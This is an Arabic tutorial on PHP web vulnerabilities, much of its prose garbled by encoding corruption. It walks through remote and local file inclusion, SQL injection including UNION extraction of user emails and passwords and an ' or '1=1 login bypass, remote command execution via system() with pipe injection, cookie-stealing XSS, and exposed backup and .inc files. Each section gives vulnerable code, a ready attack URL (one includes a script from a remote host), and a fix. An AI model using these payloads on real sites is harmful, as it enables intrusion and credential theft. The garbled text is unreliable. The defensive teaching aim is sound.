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>1DG1:  
  

 ا�(�R(/< و ا��2 &(?�vv 1) ا��pاق ا�(H5ـ-     ا����ات و أ53اع    ��PHP< ا�1�l.<   $�ا �1 3+(- �)     آ�
  .ا�(��ب

Bـ�ن  .F�53ـ� أو ,�F�.1ـ�    آـ�ن � F1( ـا���ـ�ة '�(ـ� 3ـ�6 إ�ـB I?ـ�ة أن      و'$) 2B �?P3 ه8ا ا�(.ـ�ل     
 �FB��  ...و ,��� ا��D$G7ه5 أ�1 ��7 اآ�

  
-          -H51ا �P�&2 ا�?�$� 1) ا�(�ات و أ�3 أB  ـ�?Fا�           ($ـ��A)ـ�ك ا�?�$ـ� 1ـ) ا�vأن ه Dـ2 هـ8ا     أ;ـB

 l���Bـ� �?�Pـ5ن ,ـ��ح     PHP,��ـ�ات ال  ��pـ< B$(ـ� ��7/ـ�      ا�(15/7ـ�ت ��R?�ونا�(.�ل ���# 
  .ا�����ل و ��.�ه/5ن ��ح ���G< ا�آ���ف

  
�# و &+��6 ا����اتا�(+��Dة 1) أ'D��� 2?� Dا � &+�D.v أو &�/�Bإذن 1) ا�ن �?& . 

 
2B 2v3T�?ح �ب  ه8ا ا���%��Fف ا����ة و ا�������  ..آ$P$< اآ�

   .1DG< ��53 1��1و�$?5ن ا���ح �15�D1 ,%�1/< أ���$< و أ�1/< 
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1 (�F;��R3 2دوات ا��Tا  
  
  

��D� �1�3�, M$l�& 5ه Iو�T5ة ا�A2 ه�8 ا�B �v1 ا�(�/5ب  PHP و MySQL �7� �1 M$l�& ف أي
2/R)ا� �B�+��,) 2/R)دم ا��Aا�( LOCALHOST   I/��3JF;.  

 M$l�& �v?)��1�3�, WAMP أو APPSERVE ، 6 ا�(��ل$l� I/�  ت��D7ا;�اء ,�7 ا�� �.� M$lا��� D7,
#/1 6�D7�, 2 وذ��/R)دم ا��Aا� I/� >�$+lا�(�Tن أ�/� ا������ت &��Rج ا�php.ini  I  ا��?5

�?6 ا��, �FG$l��� وط���$R��.  
  

   : و �R, �F�D$� &?5ن آ(� �/2B php.ini2 1/# ا,�R �) ا�(�15/7ت ا����$<
  
  

safe_mode = off   
register_globals = on   
allow_url_include = on   
allow_url_fopen = on   
magic_quotes_gpc = off   
short_tag_open = on   
display_errors = on 
disabled_functions = N/A   

  
  

�.� ا&�lع ا�5�Aات ا�&$< 6�D7ا�� D7, :  #/�A1 6lH (1 �F1اDA��� ة ,$��3تD��H ء��,�ا�1 ال أو� ، إ3
PHP ,�?+��, �7ف�  . ��ت أو �1 
 �$3�V،�?� MlV , ره�D�1 >2 درا�B ءD,و ا >P/�A1 أآ5اده�–��ت- , �Hرهو�l�p�� �P��)5ا��< ا�,.   

  
  D.&:  96=id?php.code/tk.code-the.www://httpه� هEAPPSERV �v أو  WAMPا,¡ &R($6 ,��1�3 ور
  
- 6N�+�& ا�ن M32 درا�< ه�8 ا�+?�,��ت؟ :  أvv?)�  !!!أ�3 � أ��ف �$¦� '5ل ا����ات...آ$# 

  .����Fا��.. و أآ$Dأ5Hل �� � &G/� ه$� �v3/� ا�I ���� اآ���ف ا����ات
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  ):ا����Dء أو ادراج D$7, #/1 (��VRemote File Inclusionة ) 2
  
  

��ء �P/1ت �pر;$< وا���l��� 2 �1 &?5ن ��ت أو �F3D &(?�v 1) ا��أ  ,R$�دور ه�8 ا����ة واD; �4ا
)/� >l+v��, اق��pت ا��,�?��;�F.  

  
- �F3آ(� أ  �Fv?ا����ات و� ��p1) ا �l�7&� �3درة وذ�� �$��'��F$ا� ($.1�l)ا� (�P.  

  
  

 2B ال >��PHP  ثDR& DH 2ء ا�(/# و ا����Dأن &��;� �(/$< ا�� �Fv?)�  :���ة وه2 ا�&�V D;5ث دوال 
  

require – require()   
require_once   
include   
include_once  

  
  
  :أ���2 �) آ5د ا����ة ��1ل -- 2-1
  
--  #/1 �v�D� ض أن�Pv�   test.php25ي ا�?5د ا����R�:  

  
 

<?php 
$pagina=$_GET['pagina']; 
include $pagina; 
?>  

 
  

��ح ا�?5د ,����pر v�. >ا�Dا�include �$��)2 ا��D�+& $pagina >�� 2B �$��)و ا� PHP  5ن?� �)Nدا 
  ) PHP ,�7 أ���$�ت �;- ا��I/$� أو� أ2p أن &( J1�, �H5l+1$ ا�Dو�ر  

  
  http://127.0.0.1/test.php  ا�(/# و &��P��), ªRP ا�B�, �v)H M3��3- إذا -
  

>RP2 ا��B ء��pة أD� و;5د «'�v�:   
  

 %�Aدم (6�1 ه8ا ا��p 6)7أ�3 أ��WAMP:(  
  
  
  

Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2  
  
  
  .D/� >l+v��, �B�71 � includeا�< � �Jال �5F.1 أو �$�l�$pagina ا��A% ه5 أن ا�(��$� -

   أو �?�,M ا���pاق �/��6وا�����ل �?5ن ��1Dv 2�73 ا�(��$� H$(< DR3ده� R3) و ا��2 &?5ن را,�
 �P��)5ن ه8ا ,5ا��< ا�?�  :و,8Fا ا��?6و

  
? http://127.0.0.1/test.php?pagina=http://the-code.tk/evilscript.txt  

  
  

 و أ�­� 1) ا�(�F و��D�TXT  -4ء� �.� أن �?5ن ,�$�< 1/# 2�3 � ا�� &I+v أن ا��6 ا�8ي &
�< ا��ا,¡�F3 2B م�FP1< ا����� .  

  
�< را,¡ ا�����ل   ٪00 أو ؟ا�?�$�ون ��+�N/5ن �(�ذا �.� و4- ��1< ا����FPم �F3 2B؟  
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  :�p (1 �FPل ه8ا ا�(��ل�ا�;�,< ��?�-

  
  

<?php 
$pagina=$_GET['pagina']; 
include $pagina.'.php'; 
?>  

  
-- 6�  : ),Dون و4- ��1< ا����FPم (اذا ا���v$�D ا�
  

http://127.0.0.1/test.php?pagina=http://the-code.tk/evilscript.txt  
  

  
�T �.vن  )� ¯v(6 ا��  http://the-code.tk/evilscript.txt.php ا�����Dء �$

  
��� &.�ه6 ا��51ز و ا��B�4ت  را,¡ ا�����ل  ,D7  ؟�Fم أو ��1< ا���P 00٪ ���8 �5ف #$­3  2?�

I�D�+)ا�(��$� ا� D7, ا��,¡ او ا�دراجا��2 &?5ن >$/)� �.v�� 2�����,6 و�  . و�$±�F ا�
  
  
  
  : �) آ5د ا����ةDG�1م ��1ل -- 2-2
  

  .�?�,Mا�ن ��1ل 1) 
  
- (1 #��G1 ب��)1/#  (ا�?5د ا�(index.php:  

  
  

  
if (isset($_REQUEST["main_content"])){ 
$main_content = $_REQUEST["main_content"]; 
} else if (isset($_SESSION["main_content"])){ 
$main_content = $_SESSION["main_content"]; 
} 
.......................etc.................. 
ob_start(); 
require_once($main_content);  

  
  

و ا�(�F;� �(�15 �$�/� أي main_content " >)$H "ن 2�D�+3 ا��6 ,5ا��< ا�(��$� �(?�vv أ
  6­P, REQUEST دا�< ا��/�  �DRده� �/(��$� 

  
  :&2وا�����ل �$?5ن آ��

? http://127.0.0.1/index.php?main_content=http://the-code.tk/evilscript.txt  
 
 

  .و,�����2 �$�� ا����Dء ا��v, 6.�ح
  
1>±'�:  6lG& � 5ص�v�7 ا�,"HTTP" امDAأن 3.�ب ا�� (?)� "HTTPS"  6G3 أو ,�و&5آ5ل

    "FTP"ا�(/�Pت
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2-3 – -$Hا��� >$P$آ:  
  
  

  . 2B ا�(��$�ات"/",���DAام ا��51ز و ا��1�7ت 6�1 � &+(�  -:  ,+$�< ق��
->B�71 ء و '�ول أن &.67 آ6 ا�(��$�ات��pTا (� �R,ا.  

  
  

 �H/6$)R& #/1اءة/آ�# (��VDownload/Local File Inclusionة ) 3
2/R1:(  

  
  

 ª3�B >��+, 6?,ت�P/1 5ى�R1 اءة�H �v?)�  .و '��F/$)R& I ،  ا�(H5- ا�DF�+)ف�p (1ل ه�8 ا����ة 
  

  :�Gاءة ا�(/�Pت , ا��D �� �)+& 2وال,�7 ا�
  
  

  �H : file_get_contentsاةة 1/# آ�61
        �H: readfileاءة 1/# 

   B5P�1 : file<1/# آ�61 �1ة �H   2Bاءة 
   fopen:  را,¡ ��B 1/# أو

5��ت/��ض �5رس�R1- #/)أو ا� >RPآ5د ا��:  show_source -  highlight_file()   
  

  
  
  :أ���2 �) آ5د ا����ة ��1ل -- 3-1
  
  
--  #/1 �v�D� ض أن�Pv�   test.php25ي ا�?5د ا����R�:  

  
 

<?php 
$pagina=$_GET['pagina']; 
readfile($pagina);  
?>  

 
��ح ا�?5د ,����pر v� . >ا�Dول ا��R��readfile  اءة�H 5ى�R1�$��)��, دDR)ا�(/# ا� $pagina   

  
�D 1+�ر ا�(/# ا�(�اد �Hاء&ª و ا�(��Aق ,�l$7< ا��Rل �$�Rول DR�, 5مGv� 2 ا�����لB 2�����,و

��p5ي �15/71ت ا��R& 2و ا�� >)F)ت ا��P/)اءة ا��H #/1 6�1 اقconfig.php ت��D�v)� >l+v��,  
vBulletin :   

  
6?�  :ا�����ل �$?5ن ,8Fا ا�

  
  

  
  

http://127.0.0.1/test.php?pagina=../../../../../etc/passwd  
  

  ..و,�����2 �$�� �/� ا�(/# �/�Gاءة و �$· ا����Dء� 1) ا��Aرج
  .ء&ª و���$� '+� 1?�35ت ا�+?�,M  ه2 1+�ر ا�(/# ا�(�اد �Hاetc/passwd/../../../../..و
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  :  �) آ5د ا����ةDG�1م��1ل  -- 3-2
  
  

  download.php:  وا�(/# ا�(��ب �+(M,�?� Iا�ن ��1ل 1) 
- (1 #��G1 ب��)ا�?5د ا�:  

  
  

  
$file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file']; 
header("Pragma: public"); 
header("Expires: 0"); 
header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); 

 
header("Content-Type: application/force-download"); 
header( "Content-Disposition: attachment; filename=".basename($file)); 

 
//header( "Content-Description: File Transfer"); 
@readfile($file); 
die();  

  
  

 ا�8ي �±REQUEST_$ . 2B �F ,5ا��< ª و&� �/l ا1) � ��l7 �) ا�(/# ا�(�/5ب وهfile $� 5$ ا�(��$� 
  .ا�+�� اTول

  .ا�(/# �(?�vv أن �3ى 5�R1ى readfile ()و �) ���� ا�Dا�< 
  :�����2 آ و ,�����2 ا�����ل �?5ن

  
  

http://127.0.0.1/download.php?file=../../../../../../etc/passwd 
 
  

  .,v.�حا�(/# ا�(�/5ب '�1 (?)�3 I) �Hاءة 
  
  
  
  
  
3-3 – -$Hا��� >$P$آ:  
  
  

  . 2B ا�(��$�ات"/",���DAام ا��51ز و ا��1�7ت 6�1 � &+(�  -:  ,+$�< ق��
->B�71 ء و '�ول أن &.67 آ6 ا�(��$�ات��pTا (� �R,ا.  

  
.  

  
  
  
  
  
  
  
  
  
  
  
  
  
  
  



   http://www.the-code.tk 
 
  
  
  

  ):$��3ت'5H (Gا�D ا�l (��VSQL Injectionة ) 4
  
  

   ا�3��را و &�l�7 ا�7�T 1) �3'$< ا�����ل آ(� أ�F3 ا��F�T ه2 اTآ� SQL Injectionان ��Vة 
�D ا�.DاولDR& (1 >� ه�8 ا����ة �D'5ه� &+��R آ��,� ���'HD, �F< و ا��2B �$HD ا������&D, �Fا

 و ا��2 &(?�v 1) رB-  ا�(��,< و��5 ا�I ا���Aاج ا�l$��3ت و 1) �V ا�(�ا'6 ا�(�1DG<واD)�Tة
6�    .ا�

  
  
  :أ���2 �) آ5د ا����ة ��1ل -- 4-1
  
  
-- (1 #��G1 #/1 (1 test.php   
  

  

<?php 
$id = $_GET['id']; 
$result = mysql_query( "SELECT name FROM members WHERE id = '$id'"); 
?>  

  
  

�(?) أن GR3) أواid �1$آ(� �B «'�3ن ا�(��$�  �v32 أv7�   ا��2 �3�Dه� P1 �$� SQL/�� ه8ا 
��/P1 �$�, �D�H6 8��1ي أN�+�& DH؟  

  
�(?) أن �?5ن أوا�1 - ªvGR3 ة و ه2 أن ا�?5د ا�8ي��/P1) ا� ��/P1 �$�SQL  >P/�A1 �1  ور51ز�Hو�$· أر

¡GB ª;5& �1وره� &(�6 أواD, �3ت وه�8 ا��51ز�$lة ا�D��G� .  
  
   : ,����pرآ$P$< ا�?�# �) و;5د ا����ة -

2 ���< ا�+�5F< آ6 ��1/$� ه5 ا���ء ا�(��$� B �1Tا$id J12 رB 6�)�& >)$H ' �1 ة '�وف و ه8اD� أو 
 �� �F±�+& 2�3ت ا���$lة ا�D��H 2B �/p �l+�%�A6ا�?�  : و ا�8ي �(?) أن �?5ن ,8Fا ا�

  
  

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version 
for the right syntax to use near 'ORDER BY `date` DESC' at line 1  

  
  .و ر���< ا�D� �F� %�Aة �$� أ�pى

  
  
-2/�  :573د ا�I آ$P$< ا�����ل و�?5ن آ(� 
  

  
-- http://127.0.0.1/test.php?id=1+union+all+select+1,2,version(),4 

  
  

  .)3ا���,< 2B ا�7(5د ر�H (وهI/� 6�Rv� �v ا�Dار D��Hة ا�l$��3ت 
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  :  �) آ5د ا����ةDG�1م��1ل  -- 4-2
  
  

  M,�?� :listing_view.php وا�(/# ا�(��ب �+(I ا�ن ��1ل 1) 
- (1 #��G1 ب��)ا�?5د ا�:  

  
  

  
  
  

$id = $_GET['itemnr']; 
require_once($home."mysqlinfo.php"); 
$query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals 
where id=$id"; 
$result = mysql_query($query); 
if(mysql_num_rows($result)){ 
$r = mysql_fetch_array($result);  

  

  
  . وا�G$(< ا��P1 �$� �Fl/�v� 2/��ة itemnr ,5ا��< ا��/� id$�3'» أH D,DR& ��$� ª3$(< ا�(��$�  

   : ,?�5F� 6< و ذ�� آ�G' (1 (?)�v� 2����SQL 2&T) ال �و,
  
 

http://127.0.0.1/house/listing_view.php?itemnr=null+union+all+select+1,2, 
3,concat(0x3a,email,password),5,6,7,8,9,10+from+users-- 

 
  
�D ا��?��و23 وآ/(< ا�(�ور 1) ا�.Dول ا�(+�1DA$)�و�lا� I/� 6�Rv.  
  

  ه2 1) أ�DG ا����ات �8ا � �(?2vv ا�ن أن أ��'�P���, �F$6 ا�((SQL Injection  6 :�1'±< ه�1<
ل 2�A& (1 ا�P/��ة و�$�(6 آ��P& 6$6 ا�����و ان ��ء ا* �%�Dر آ��,� آ��1 '5ل ه�8 ا����ة 

6�   .ا�I ا���Aاج ا�(�15/7ت و��5 ا�I رB- ا�
  
4-3-- SQL Injection Login Bypass )5لpDوز &+.$6 ا��.& (:  
  

 SQLه�8 ا����ة &�l�7 1) أp# و أ;(6 ا����ات و ذ�� ��F�Pv� ��8�  �F���+l آ.Jء 1) ��Vة 
Injection�)7�+1 5'< ا�دارة� I5ل ا�pDا� (1 �v?)& 2وه  J1ا��  ' or ' 1=1  

  
  :رآI/� J ا�(��ل

  
  M,�?� :login.php وا�(/# ا�(��ب �+(I ��1ل 1) 

  
- (1 #��G1 ب��)ا�?5د ا�:  

  
  

  

$postbruger = $_POST['username']; 
$postpass = md5($_POST['password']);  
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND 
password = '$postpass'")  
or die("<p>" . mysql_error() . "</p>\n");  
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�(?�vv &.�وز �5'< ا�5pDل ,(.�د و4- ا�(�15/7ت ا����$<:   

  
  

  admin ' or ' 1=1                      :ا�� ا�(+�DAم 
  jocker                                    :آ/(< ا�+� 

  
  

   ,�8F ا�l+��<؟ SQLأآ$D أ5Gv� �v3ل آ$# �$+.6 د�v�5p ؟ وهDAv� 6ع 
  

 �v±'� 5� �v3T �73 21) ��ف ال ا�;�,< ه �l�$� �1 ا�8يTاSQL�l+�7ف ا�v� :   
 

 
  

$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1 AND 
password = ' jocker'")  

  

  

�� B?�ة �) ���G< ا��5H -1 61�7ا�D ا�l$��3ت �?2 &�(?) 1) &�;(< ا�1T ا�8ي -D� أن &?5ن �.� 
 ª, �v�Dp الSQL 5ل 1- ا�7/� أن ا��pDا� (1 �v?)&5ل وpDفا�DF5ن ا�� ا�?��.� أن  .  

  
  
4-4 – -$Hا��� >$P$آ :  
  
  
  :و ا;GB �F/7¡ أرDA���, �1�Hام ا��1 ه8ا آ(��ل � &+(� �/�Rوف 2B ا�(��$�ات -
  

$id=(int)$_GET['id'];  

  
  :أو v), �H- ا��Rوف ا���A< وا��DR& 2ث D��G� �/pة ا�l$��3ت -
 

- , . ( ) ' " _ + / * 
  
  

  ):&Pv$8 اTوا�1( ��VRemote Command Executionة ) 5
  
 وهRemote file Inclusion �� �)+& 2ه�8 ا����ة &�v# '+� رأ�23�V 2 أ��V ��pة ,��V D7ة -

 8$Pv�, �B�$+ا� I/� ة���l1 �1أوا.  
  
  
  
- 2B ال >��PHP D;5& 2وال ا��D�7 ا�, �$l��, �� �)+& �1واTوه2  ا:  
  
  

exec   
passthru   
shell_exec  
system  

  
  
1�� ()EXEC ا�����ل ��� �l�& �l$� اTواD, �1ا�<إذا آ�ن   :�1'±< -- �v?)� � ª3�B >.$�3 ةDه

  .اذ أl�& � �F3- )و�?) ��� &Pv$8 اTوا�1 (اTوا�1
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  :أ���2 �) آ5د ا����ة ��1ل -- 5-1
  
-- (1 #��G1 #/1 test.php  
  
  

<?php 
$cmd=$_GET['cmd']; 
system($cmd); 
?>  

  
 >��R2 ه�8 ا�B 5وه �$��)/� >)$H �/� �vv?)�  �p (1$cmdل درا�< ا����ات ا�+�,�vB�� >G آ$# 

  
2&Tآ� ����(?�vv أن 67.3 ا�����ل  ªv1و:   

  
  

http://127.0.0.1/test.php?cmd=id  
  

  
�1T8 ا$Pv& ��$و� id  )�B�+ا� I/� �v&�$'�� و�5ف ) أ�1 ��ض�F±&>.$�vا� .  

  
 �1Tوز آ�Dv�ا���7اض  ( dirو2B '��< ا��.��� �/I ا�+��B ا�R)/2 �$?5ن ا�1T (1 أوا�1 3±�م ا�5

  .)./D ا��P/12��Rت ا�(
  
  
  :  �) آ5د ا����ةDG�1م��1ل  -- 5-2
  

  M,�?� :dig.php وا�(/# ا�(��ب �+(I ��1ل 1) 
  
- (1 #��G1 ب��)ا�?5د ا�:  

  
  

$ns = $_GET['ns']; 
$query_type = $_GET['query_type']; // ANY, MX, A , etc. 
$ip = $_SERVER['REMOTE_ADDR']; 
$self = $_SERVER['PHP_SELF']; 
........................ etc ........................ 
$host = strtolower($host); 
echo("<span class=\"plainBlue\"><b>Executing : <u>dig $ns </u></b><br>"); 
echo '<pre>'; 
system ("$ns");  

  
  
  

��(?) �/(�F;� أن  ª3أ �F±� �vهª;5 �$��)ل ا��p (1 �D���  ns$ أي أ�1 
  

�?6 ا�&2��, ª;5$� �1Tو ا:   
  
  

http://127.0.0.1/dig.php?ns=ls -la  
  
  
  
  
  
  
  
  
  : �5 ��د�vB آ5د ,8Fا ا��?6:اB�4< ه�1< -
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$dz = $_GET['ns']; 
$alg = $_GET['alg]; . 
........................ etc ........................ 
system ("dig @$dz $alg"); 
?>  

  5ن ا�����ل؟2B رأ�� آ$# �$?
  

  :ا�����ل �$?5ن ,8Fا ا��?6: ا�;�,<
  
  

http://127.0.0.1/dig.php?dz=|| id ||&alg=ls -la 
 

 J1ن ا��T||D'وا MH2 وB �1ة أواD� �$l��� مDA�+� .  
 
  
  

  
  
  

  ):JAVA SCRIPT أو  G'HTML) أآ5اد ( ��VCross-Site Scriptingة ) 6
  

 
  

��ة ;Dا و �(?) أن &.Dه� 2B أآ�l آ�$�ا �1 ��.�ه6 ا�(5.1�lن ه�8 ا�v1 2FB 8اFو� �F35��v������ة أو 
�G< ذآ$<��, �Fا����� I/� �;�F)رة ا�DH 2B ()?& �F�$��7B (?� >$)��7ا� -Hا�(5ا.  

  
2&Tآ� ����(?�vv أن 67.3 ا�����ل  ªv1و:   

  
  

  :أ���2 �) آ5د ا����ة ��1ل -- 6-1
  
-- (1 #��G1 #/1 (1 test.php  
  
-�G1  (1 #ب���)ا�?5د ا�:  

  
  

<?php 
$name=$_GET['name']; 
print $name; 
?>  

  
  �$��)/� >)$H �/� ��� ª3�B ا�?5د �v);�& 5�$name >ا�D5ا��< ا�, ª���l� �V (1و print  

  
2 ���G< �����ل ه8ا ا�?5د -B اD$; �?Pv�  .......  (GR3 5� ��  :آ5د ;�8F, M,�?� �Bا ا��?�16 رأ
  
  

>script>alert(document.cookie)</script< http://127.0.0.1/test.php?name=  

  
  
  

 ;�5R& �Bي آ5آ$J ا�(+�DAم و ه5 ا�?5آ$J ا��Aص ,2B �v ه�8  ر���<ا��v$.< ��?5ن 5F¹ر 8B�3ة
>��Rا�.  
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-�l� ��& اق��pق ا��� D'ا J$اج ا�?5آ�A5ي آ5د ا��R�5�) را,¡ ?& >$/)� ��$P�& �V ر����pأو ا  

��P�& Dv ا�­R$< �/�ا,¡ �Bن �15/71ت ا�?5آ$J ا�ª, >��A ����6 ا�I . ا�­ª >$R ا�I وار���
�;�F)ا�>$Rب ا�­�+' I5ل ا�pD��, 5مG� �$pTو ه8ا ا >Hا�(+�و J$1+��� �15/71ت ا�?5آ .  

  

 
  

6-2 – -$Hا��� >$P$آ :  
  

�G< ا���D; >/F� -$Hا '$� �(?�vv ا��7(�ل دا�< ��htmlentities()  أو دا� 
htmlspecialchars()  
  

  . آv¯ ��دي  HTMLو�5م  &5Gم ,(1�7/< 5�3ص وه�8 ا�Dوال 
  

6?�  :و,�����2 ا�?5د ا�(�H- �$?5ن ,8Fا ا�

 
  

?>php  
$name=htmlentities($_GET['name'([;  

print $name;  
<?  

  
  
  
  
  

  :��VINC filesة +  ��VDownload Backupsة ) 7
  
  :أ�1/< +��ح – 7-1
  

  :1) ا��pTء ا�+�ذ;< �/�A� �)�$R, ($.1�l)$�  أ���lه
  

&+(� �� ,�R($6 ا�º+v ا�'�$��$< �D��Gة ,$��3ت ا�(��V Download Backups :  -H5ة
  .ا�(+�DFف

  
  :��1ل ,+$¡

  
http://127.0.0.1/adminpanel/phpmydump.php  

  
((?) أن  وا��2 &?5ن 1?�B5< و 1) ا� �G, �� �incاءة ,�P/1 �7ت (و&+:  ��V INC filesة 

  .&5Rي �15/71ت ا�(H5- ا�(+�DFف
  

  ):ءة 1/# �5Rي �15/71ت ا�&��ل ,D��Gة ا�l$��3تا�H (��1ل ,+$¡
  

http://127.0.0.1/inc/mysql.inc  
  
  
  
  
  
  
  
  
7-2 –  -$Hا��� >G���:  
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Download Backups  : ا�'�$��$< و ا� >A+v6 ا�$)R& D����� ه5 ا�8ي D)1) أن ا� �GR6 ا�ا���5R�
 Iا�%�p >RP� –>$��$�'ا� º+vا� >��)R� ار �3ريD; امDAا�� .  

  
 INC files : امDA���, ت�P/)ا� >��)'  .htaccess >�$�, ت�P/1 2B ا�(�15/7ت «P' 56 ه­BTوا 

PHP.  
  
  
  
  
  
  
  
  

�< ( '5ل ا����اتأ�1/<) 8�)Rا� -H1) 51ا(:  
  
  
  ��VRemote File Inclusionة  )1
  

http://www.1337day.com/exploits/14932  
  
  ��VDownload/Local File Disclosureة ) 2
  

http://www.1337day.com/exploits/17087 
 
  ��VSQL Injectionة ) 3
  

http://www.1337day.com/exploits/17021  
http://www.1337day.com/exploits/14836  
http://www.1337day.com/exploits/14828  

  
  ��VutionRemote Command Execة ) 4
  

http://www.1337day.com/exploits/1503  
  
  ��VSite Scripting-Crossة ) 5
  

http://www.1337day.com/exploits/17073  
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>)&�p:  
  
  

53اع 1) ا����ات &�A/# 1) '$� ا�5�Aرة و آ$P$< ا�����ل و�?) آ6 ه8ا أ1) ا�(�7وف أD� D;5& ª3ة 
�F)رة ا�DH I/� D)�7� ªNو ذآ� �;,  ª3أ Dا����ات و 1) ا�(«آ ���� Iأآ�� ا� �,�Hأن أ Mو��' DG� 2pأ

و ا�8رو23 ان وردت 2v1 أ��pء �/I ...آ/(� ا;�DFت أآ�� آ/(� و�/M ا�1DG�1 >/'�1 I< 1) ا�'��اف
2N�15ي أو ا�Rvحا�(+�5ى ا���  ... ��B?(�ل * �J و;6 أو �/I 1+�5ى ا�

  

 
  

 
 

 أر;5 ا�?��ب&?� وا��P+�را&?� '5ل ���G$/7&?� وا��Hا'�
 �l� 2�/ا��?��و�123ا� D��lا�:  

  
com.gmail@Jocker.Madrido  

   
��;I أو  -H5)رة ا���  :ز

  
tk.code-the.www://http   

  
   :SKYPEا��5ا��l� 6 أو 

  
 SBMَAdel 
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   أر;5 ا���Dء �2 و�5ا�Dي
  

  
  
  
  
  
  
  
  
  
  
  
  
  
  

23/10/2011  
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Zا �	[\ ]^  


